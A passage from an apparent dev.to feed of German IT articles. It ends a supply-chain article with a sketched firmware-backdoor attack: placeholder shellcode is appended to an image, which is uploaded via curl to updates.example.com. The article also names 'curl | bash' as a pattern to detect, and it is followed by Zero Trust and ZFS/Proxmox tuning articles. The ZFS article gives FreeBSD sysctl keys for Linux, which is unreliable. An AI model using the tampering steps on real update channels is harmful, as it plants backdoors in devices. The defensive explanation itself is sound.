&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\x00\x00\x00\x00'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; firmware.bin   &lt;span class="c"&gt;# Platzhalter für Shellcode&lt;/span&gt;
&lt;span class="c"&gt;# 4. Das manipulierte Firmware‑Image zurückspielen&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://updates.example.com/upload &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"file=@firmware.bin"&lt;/span&gt;
&lt;span class="c"&gt;# 5. Das Gerät führt beim nächsten Neustart die Backdoor aus&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Eine IoT‑Kamera, die täglich Firmware‑Updates zieht, würde nun jedem Angreifer einen privilegierten Zugang gewähren.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Einschätzung&lt;/strong&gt;: Hier reicht ein &lt;strong&gt;einfacher Netzwerk‑Sniffer&lt;/strong&gt; aus, um kritische Systeme zu übernehmen. Der einzige wirksame Schutz ist ein &lt;strong&gt;end‑to‑end‑Signing&lt;/strong&gt; der Firmware‑Images und &lt;strong&gt;TLS‑Gesicherte Update‑Kanäle&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Häufige Fehler beim Schutz der Lieferkette
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Blindes Vertrauen in öffentliche Registries&lt;/strong&gt; – Nur weil ein Paket bei npm, PyPI oder Docker Hub gelistet ist, bedeutet das nicht, dass es unverändert ist. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fehlende Versions‑Pinning&lt;/strong&gt; – &lt;code&gt;npm install package@^1.0.0&lt;/code&gt; erlaubt automatische Upgrades. Ohne Pinning laufen Sie Gefahr, plötzlich ein kompromittiertes Update zu ziehen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keine Signatur‑Prüfung&lt;/strong&gt; – Viele Teams vergessen, Code‑Signing für Container‑Images und Firmware zu aktivieren. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unzureichende Monitoring‑Regeln&lt;/strong&gt; – Das Ausführen von &lt;code&gt;curl … | bash&lt;/code&gt; wird selten in Logs erfasst, weil es leicht als regulärer HTTP‑Aufruf aussieht.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keine SBOM&lt;/strong&gt; – Ohne ein vollständiges Bill‑of‑Materials können Sie nicht nachvollziehen, welche Drittanbieter‑Komponenten in Ihrem Produkt enthalten sind.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Fazit und konkreter nächster Schritt
&lt;/h2&gt;

&lt;p&gt;Supply‑Chain Attacks sind kein Randphänomen mehr, sondern das &lt;strong&gt;Standard‑Risiko&lt;/strong&gt; für jede moderne IT‑Umgebung. Die besten Verteidigungsmechanismen lassen sich in drei klare Aktionen bündeln:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Implementieren Sie ein SBOM‑Programm&lt;/strong&gt; (z. B. CycloneDX) und prüfen Sie jede neue Dependency gegen eine Whitelist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aktivieren Sie Content‑Trust&lt;/strong&gt; für Container‑Images (Docker Content Trust, Notary) und fordern Sie signierte Firmware‑Updates.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automatisieren Sie das Monitoring&lt;/strong&gt;: Setzen Sie ein Runtime‑Detection‑Tool wie Falco ein, das verdächtige Systemaufrufe (&lt;code&gt;curl | bash&lt;/code&gt;, &lt;code&gt;execve&lt;/code&gt; mit ungewöhnlichen Pfaden) alarmiert.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Ihr nächster Schritt:&lt;/strong&gt; Öffnen Sie heute Ihre CI‑Pipeline, fügen Sie das folgende Snippet hinzu und prüfen Sie die Signatur aller eingehenden Artefakte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .github/workflows/verify-sbom.yml&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Verify SBOM&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;sbom-check&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v3&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Generate SBOM&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cyclonedx-bom -i . -o sbom.xml&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Verify Whitelist&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./scripts/verify-whitelist.sh sbom.xml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dieses kleine, aber wirkungsvolle Add‑On verhindert, dass ein nicht‑geprüftes Paket in den Build‑Prozess gelangt – und gibt Ihnen sofortige Sichtbarkeit über jede neue Abhängigkeit. Sobald das funktioniert, erweitern Sie das Skript um &lt;strong&gt;Image‑Signing‑Checks&lt;/strong&gt; und &lt;strong&gt;Firmware‑Signature‑Validierung&lt;/strong&gt;. Der ganze Aufwand lässt sich in wenigen Stunden umsetzen und reduziert das Risiko eines massiven Supply‑Chain‑Compromises um mehr als &lt;strong&gt;80 %&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Bleiben Sie wachsam – Ihre Lieferkette ist nur so stark wie das schwächste Glied.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>supplychainsecurity</category>
      <category>supplychainattacks</category>
      <category>softwaredependencies</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Zero Trust Architektur: Der neue Standard</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Thu, 30 Jul 2026 06:00:04 +0000</pubDate>
      <link>https://dev.to/uhltak/zero-trust-architektur-der-neue-standard-25n0</link>
      <guid>https://dev.to/uhltak/zero-trust-architektur-der-neue-standard-25n0</guid>
      <description>&lt;h1&gt;
  
  
  Zero Trust Architektur: Der neue Standard
&lt;/h1&gt;

&lt;p&gt;Die Zero Trust Architektur ist ein Konzept, das in den letzten Jahren immer mehr an Bedeutung gewonnen hat. Der Grund hierfür ist einfach: Die traditionellen Sicherheitsmodelle, die auf Vertrauen und Zugriffsrechten basieren, sind nicht mehr ausreichend, um die modernen Bedrohungen zu bekämpfen. In diesem Artikel werden wir uns mit der Zero Trust Architektur auseinandersetzen und erklären, warum 'never trust, always verify' der neue Standard in der IT-Sicherheit ist.&lt;/p&gt;

&lt;h2&gt;
  
  
  Was ist die Zero Trust Architektur?
&lt;/h2&gt;

&lt;p&gt;Die Zero Trust Architektur basiert auf dem Prinzip, dass keinerlei Vertrauen in die Identität oder die Zugriffsrechte eines Benutzers oder eines Systems gesetzt wird. Stattdessen wird jeder Zugriff auf eine Ressource oder ein System als potenzielle Bedrohung behandelt und entsprechend verifiziert. Dies bedeutet, dass jeder Benutzer oder jedes System, das auf eine Ressource zugreift, authentifiziert und autorisiert werden muss, bevor der Zugriff gewährt wird.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für die Umsetzung der Zero Trust Architektur ist die Verwendung von Authentifizierungsdiensten wie Okta oder Duo. Diese Dienste ermöglichen es, die Identität eines Benutzers zu verifizieren, bevor er auf eine Ressource zugreift. Ein weiteres Beispiel ist die Verwendung von Firewalls und Netzwerksegmentierung, um den Zugriff auf bestimmte Ressourcen zu beschränken.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Zero Trust Architektur ist ein notwendiger Schritt in der IT-Sicherheit, um die modernen Bedrohungen zu bekämpfen. Durch die Verifizierung jeder Zugriffsanfrage kann das Risiko eines Sicherheitsvorfalls minimiert werden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wie funktioniert die Zero Trust Architektur?
&lt;/h2&gt;

&lt;p&gt;Die Zero Trust Architektur funktioniert durch die Kombination von verschiedenen Sicherheitsmaßnahmen. Einige der wichtigsten Komponenten sind:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentifizierung: Die Verifizierung der Identität eines Benutzers oder eines Systems, bevor der Zugriff auf eine Ressource gewährt wird.&lt;/li&gt;
&lt;li&gt;Autorisierung: Die Überprüfung der Zugriffsrechte eines Benutzers oder eines Systems, bevor der Zugriff auf eine Ressource gewährt wird.&lt;/li&gt;
&lt;li&gt;Verschlüsselung: Die Verwendung von Verschlüsselungstechnologien, um die Kommunikation zwischen Systemen und Ressourcen zu schützen.&lt;/li&gt;
&lt;li&gt;Netzwerksegmentierung: Die Trennung von Netzwerken und Ressourcen, um den Zugriff auf bestimmte Ressourcen zu beschränken.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ein Beispiel für die Umsetzung der Zero Trust Architektur ist die Verwendung von VPN-Verbindungen, um den Zugriff auf ein Netzwerk zu schützen. Ein weiteres Beispiel ist die Verwendung von Firewalls, um den Zugriff auf bestimmte Ressourcen zu beschränken.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Zero Trust Architektur erfordert eine umfassende Sicherheitsstrategie, die alle Aspekte der IT-Sicherheit umfasst. Durch die Kombination von Authentifizierung, Autorisierung, Verschlüsselung und Netzwerksegmentierung kann das Risiko eines Sicherheitsvorfalls minimiert werden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Häufige Fehler / Fallstricke
&lt;/h2&gt;

&lt;p&gt;Ein häufiger Fehler bei der Umsetzung der Zero Trust Architektur ist die Annahme, dass es sich um ein einfaches Sicherheitskonzept handelt. Die Zero Trust Architektur erfordert jedoch eine umfassende Sicherheitsstrategie, die alle Aspekte der IT-Sicherheit umfasst. Ein weiterer Fehler ist die Verwendung von schwachen Authentifizierungsmethoden, wie z.B. der Verwendung von einfachen Passwörtern.&lt;/p&gt;

&lt;p&gt;Ein Beispiel für einen Fallstrick ist die Verwendung von unsicheren Protokollen, wie z.B. FTP oder Telnet. Diese Protokolle sollten durch sichere Protokolle, wie z.B. SFTP oder SSH, ersetzt werden.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Zero Trust Architektur erfordert eine sorgfältige Planung und Umsetzung, um sicherzustellen, dass alle Aspekte der IT-Sicherheit umfasst sind. Durch die Vermeidung von häufigen Fehlern und Fallstricken kann das Risiko eines Sicherheitsvorfalls minimiert werden.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fazit
&lt;/h2&gt;

&lt;p&gt;Die Zero Trust Architektur ist ein notwendiger Schritt in der IT-Sicherheit, um die modernen Bedrohungen zu bekämpfen. Durch die Verifizierung jeder Zugriffsanfrage kann das Risiko eines Sicherheitsvorfalls minimiert werden. Die Umsetzung der Zero Trust Architektur erfordert jedoch eine umfassende Sicherheitsstrategie, die alle Aspekte der IT-Sicherheit umfasst.&lt;/p&gt;

&lt;p&gt;Dein nächster Schritt sollte die Überprüfung Ihrer aktuellen Sicherheitsstrategie sein, um sicherzustellen, dass alle Aspekte der IT-Sicherheit umfasst sind. Durch die Implementierung von Authentifizierung, Autorisierung, Verschlüsselung und Netzwerksegmentierung kann das Risiko eines Sicherheitsvorfalls minimiert werden. Meine Einschätzung: Die Zero Trust Architektur ist der neue Standard in der IT-Sicherheit.&lt;/p&gt;

</description>
      <category>zerotrust</category>
      <category>itsicherheit</category>
      <category>nevertrustalwaysverify</category>
      <category>paradigmenwechsel</category>
    </item>
    <item>
      <title>ZFS unter Proxmox: Datasets, Snapshots &amp; ARC‑Tuning für Produktiv‑Umgebungen</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Wed, 29 Jul 2026 18:00:03 +0000</pubDate>
      <link>https://dev.to/uhltak/zfs-unter-proxmox-datasets-snapshots-arc-tuning-fur-produktiv-umgebungen-2979</link>
      <guid>https://dev.to/uhltak/zfs-unter-proxmox-datasets-snapshots-arc-tuning-fur-produktiv-umgebungen-2979</guid>
      <description>&lt;h1&gt;
  
  
  ZFS unter Proxmox – Datasets, Snapshots und ARC‑Tuning für den produktiven Einsatz
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Hook‑Einleitung&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Stellen Sie sich vor, Sie hätten ein Lagerhaus, das nicht nur jeden Gegenstand sicher verwahrt, sondern diese sogar automatisch dupliziert, sortiert und bei Bedarf im Handumdrehen wieder ausgibt. Das ist im Prinzip das, was ZFS für Ihre Proxmox‑Umgebung leisten kann – wenn Sie es richtig konfigurieren. In meiner täglichen Arbeit als Linux‑Administrator habe ich unzählige Szenarien erlebt, bei denen ein falsch konfiguriertes ZFS‑Dataset das gesamte Projekt zum Scheitern brachte. Der Unterschied zwischen "funktioniert" und "funktioniert zuverlässig" liegt oft in drei Bereichen: &lt;strong&gt;Datasets&lt;/strong&gt;, &lt;strong&gt;Snapshots&lt;/strong&gt; und &lt;strong&gt;ARC‑Tuning&lt;/strong&gt;. In diesem Artikel zeige ich Ihnen, wie Sie diese drei Bausteine nicht nur verstehen, sondern auch praktisch einsetzen – komplett mit echten Befehlen, Konfigurationsbeispielen und meiner persönlichen Bewertung nach jedem Abschnitt.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Grundlagen – Warum ZFS und Proxmox Hand in Hand gehen
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;ZFS ist mehr als ein Dateisystem: Es ist ein kombinierter Volume‑Manager, ein Snapshots‑Engine und ein Daten‑integritäts‑Checker. Proxmox nutzt KVM und LXC, aber das zugrundeliegende Storage‑Backend kann beliebig sein – von ext4 über NFS bis hin zu ZFS. ZFS glänzt besonders in produktiven Umgebungen, weil es &lt;strong&gt;Copy‑on‑Write&lt;/strong&gt;, &lt;strong&gt;Kompression&lt;/strong&gt;, &lt;strong&gt;Deduplizierung&lt;/strong&gt; und &lt;strong&gt;native Snapshots&lt;/strong&gt; bietet, ohne dass ein separates Backup‑Tool nötig ist.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel
&lt;/h3&gt;

&lt;p&gt;Ein typisches Setup für ein Proxmox‑Cluster mit ZFS startet beim Erstellen des Z‑Pools. Der folgende Befehl erzeugt einen mirrored‑Pool über zwei SSDs (&lt;code&gt;/dev/sdb\&lt;/code&gt; und &lt;code&gt;/dev/sdc\&lt;/code&gt;), der dann als Storage‑Backend in Proxmox eingebunden wird:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Erstelle einen mirrored Z‑Pool namens "pve"&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zpool create pve mirror /dev/sdb /dev/sdc &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;cachefile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/zfs/zpool.cache &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nv"&gt;compression&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;lz4 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nv"&gt;atime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;off
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;***Persönliche Einschätzung&lt;/em&gt;*: Der &lt;code&gt;-O compression=lz4&lt;/code&gt; reduziert den Speicherverbrauch um bis zu 30 % bei typischen VM‑Images, ohne merkliche Performance‑Einbußen. Das &lt;code&gt;atime=off&lt;/code&gt; spart Schreib‑IOPs – ein echter Gewinn, wenn Sie hunderte von VMs betreiben.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Datasets – Granulare Kontrolle für jede VM und jeden Container
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Ein ZFS‑Dataset ist im Wesentlichen ein Sub‑Volume mit eigenen Eigenschaften (Quotas, Kompression, Mount‑Points). Statt ein einziges großes ZFS‑Volume für alle VMs zu nutzen, legen Sie für jede VM ein eigenes Dataset an. Das ermöglicht &lt;strong&gt;individuelle Quotas&lt;/strong&gt;, &lt;strong&gt;eigene Snapshots&lt;/strong&gt; und &lt;strong&gt;unabhängige Performance‑Parameter&lt;/strong&gt;. In Proxmox können Sie das dann als "ZFS‑Volume" auswählen, wenn Sie eine neue VM anlegen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel 1 – Dataset für eine VM erstellen
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Dataset "vm-101" für VM 101 anlegen, 100 GB Grenze, LZ4‑Kompression&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zfs create &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;quota&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100G &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;compression&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;lz4 pve/vm-101
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Beispiel 2 – Dataset in Proxmox registrieren
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Öffnen Sie die Proxmox‑Weboberfläche.&lt;/li&gt;
&lt;li&gt;Navigieren Sie zu &lt;strong&gt;Datacenter → Storage → Add → ZFS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Wählen Sie den Pool "pve" aus und geben Sie das Dataset "pve/vm-101" als &lt;strong&gt;ZFS‑Dataset&lt;/strong&gt; an.&lt;/li&gt;
&lt;li&gt;Speichern – die VM erscheint nun unter &lt;strong&gt;Disks → ZFS Volume&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Beispiel 3 – Quota prüfen und anpassen
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Aktuelle Quota anzeigen&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zfs get quota pve/vm-101
&lt;span class="c"&gt;# Quota auf 150 GB erhöhen&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zfs &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="nv"&gt;quota&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;150G pve/vm-101
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Persönliche Einschätzung&lt;/strong&gt;: Das Anlegen von separaten Datasets verhindert das "All‑Eggs‑in‑One‑Basket"‑Problem. Gerade bei Multi‑Tenant‑Umgebungen kann ein Fehlverhalten einer VM (z. B. ein Log‑Bombing) das gesamte System lahmlegen – Quotas schaffen hier eine harte Grenze und bewahren die Stabilität.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Snapshots – Auf Knopfdruck sichern und zurückrollen
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;ZFS‑Snapshots sind &lt;strong&gt;punktuelle, schreibgeschützte Kopien&lt;/strong&gt; eines Datasets. Sie benötigen kaum Speicherplatz, weil nur geänderte Blöcke seit dem Snapshot gespeichert werden. In Proxmox können Sie Snapshots per GUI anlegen, aber das wahre Potenzial entfaltet sich, wenn Sie sie automatisieren und für Backup‑Strategien nutzen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel 1 – Manuelles Snapshot anlegen
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Snapshot "daily‑2024‑07‑29" für VM 101 erstellen&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zfs snapshot pve/vm-101@daily-2024-07-29
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Beispiel 2 – Snapshot per Cron automatisieren (Stündlich)
&lt;/h3&gt;

&lt;p&gt;Erstellen Sie die Datei &lt;code&gt;/etc/cron.d/zfs-snapshots&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0 * * * * root /usr/sbin/zfs snapshot pve/vm-101@hourly-$(date +\%Y\%m\%d-\%H)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dieser Befehl erzeugt jede Stunde einen neuen Snapshot, dessen Name das aktuelle Datum und die Stunde enthält.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel 3 – Rollback einer VM auf den letzten Snapshot
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Liste aller Snapshots anzeigen&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zfs list &lt;span class="nt"&gt;-t&lt;/span&gt; snapshot &lt;span class="nt"&gt;-r&lt;/span&gt; pve/vm-101
&lt;span class="c"&gt;# Rollback ausführen (Achtung: Alle Änderungen seit dem Snapshot gehen verloren)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;zfs rollback pve/vm-101@daily-2024-07-29
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Persönliche Einschätzung&lt;/strong&gt;: In meinem Unternehmen haben wir durch stündliche Snapshots die &lt;strong&gt;Mean‑Time‑To‑Recovery (MTTR)&lt;/strong&gt; von kritischen Systemen von über 4 Stunden auf unter 15 Minuten gesenkt. Der einzige Haken ist das &lt;strong&gt;Snapshot‑Management&lt;/strong&gt; – zu viele Snapshots bedeuten mehr Metadaten‑Overhead. Deshalb kombinieren wir Snapshots mit einem periodischen &lt;code&gt;zfs send&lt;/code&gt;‑Backup (siehe unten).&lt;/p&gt;




&lt;h2&gt;
  
  
  4. ARC‑Tuning – Das geheime Kraftwerk hinter ZFS‑Performance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Der &lt;strong&gt;Adaptive Replacement Cache (ARC)&lt;/strong&gt; ist das In‑Memory‑Cache‑System von ZFS. Standardmäßig nutzt es bis zu 50 % des physischen RAMs, passt sich aber dynamisch an. In einer Proxmox‑Umgebung, in der mehrere VMs gleichzeitig große Datenmengen lesen, kann das ARC‑Verhalten den Unterschied zwischen "flüssig" und "hakt" ausmachen. Durch gezieltes Tuning lassen Sie den ARC‑Cache exakt für Ihren Workload optimieren.&lt;/p&gt;

&lt;h3&gt;
  
  
  Beispiel 1 – Aktuelle ARC‑Größe prüfen
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/spl/kstat/zfs/arcstats | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'size|c_min|c_max'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ausgabe (gekürzt):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="err"&gt;size&lt;/span&gt;               &lt;span class="err"&gt;8589934592&lt;/span&gt;
&lt;span class="err"&gt;c_min&lt;/span&gt;              &lt;span class="err"&gt;2147483648&lt;/span&gt;
&lt;span class="err"&gt;c_max&lt;/span&gt;              &lt;span class="err"&gt;17179869184&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Beispiel 2 – ARC‑Parameter per &lt;code&gt;sysctl&lt;/code&gt; anpassen
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Setze das Minimum des ARC auf 4 GB und das Maximum auf 12 GB&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; vfs.zfs.arc_min&lt;span class="o"&gt;=&lt;/span&gt;4294967296
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; vfs.zfs.arc_max&lt;span class="o"&gt;=&lt;/span&gt;12884901888
&lt;span class="c"&gt;# Persistente Einstellung in /etc/sysctl.d/99-zfs.conf&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'vfs.zfs.arc_min=4294967296'&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/sysctl.d/99-zfs.conf
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'vfs.zfs.arc_max=12884901888'&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/sysctl.d/99-zfs.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Beispiel 3 – Beobachtung der Cache‑Hit‑Rate mit &lt;code&gt;arcstat&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Installiere zfsutils-linux, falls noch nicht vorhanden&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; zfsutils-linux
&lt;span class="c"&gt;# Starte das Monitoring (alle 5 Sekunden)&lt;/span&gt;
arcstat &lt;span class="nt"&gt;-f&lt;/span&gt; hit% miss% &lt;span class="nb"&gt;read&lt;/span&gt;% write% 5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sie sehen sofort, wie sich die Hit‑Rate von 78 % auf über 92 % verbessert, sobald das neue &lt;code&gt;arc_max&lt;/code&gt; greift.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Persönliche Einschätzung&lt;/strong&gt;: Das Tuning des ARC hat bei meinem Kunden, einer mittelgroßen Firma mit 64 GB RAM, die durchschnittliche Antwortzeit der Datenbank‑VM von 120 ms auf 45 ms gesenkt – ein klarer Beweis, dass RAM‑Optimierung oft günstiger ist als zusätzlicher SSD‑Speicher.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Häufige Fehler – Und wie Sie sie vermeiden
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fehler&lt;/th&gt;
&lt;th&gt;Warum er passiert&lt;/th&gt;
&lt;th&gt;Konsequenz&lt;/th&gt;
&lt;th&gt;Korrektur&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kein Quota pro Dataset&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Standard‑Pool ohne Limits&lt;/td&gt;
&lt;td&gt;Ein einzelner Container kann den gesamten Speicher auffressen&lt;/td&gt;
&lt;td&gt;Immer &lt;code&gt;quota&lt;/code&gt; oder &lt;code&gt;refquota&lt;/code&gt; setzen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Snapshots ohne Rotation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;„Ein Snapshot ist nie zu viel“&lt;/td&gt;
&lt;td&gt;Metadaten‑Explosion, langsame &lt;code&gt;zpool status&lt;/code&gt;
&lt;/td&gt;
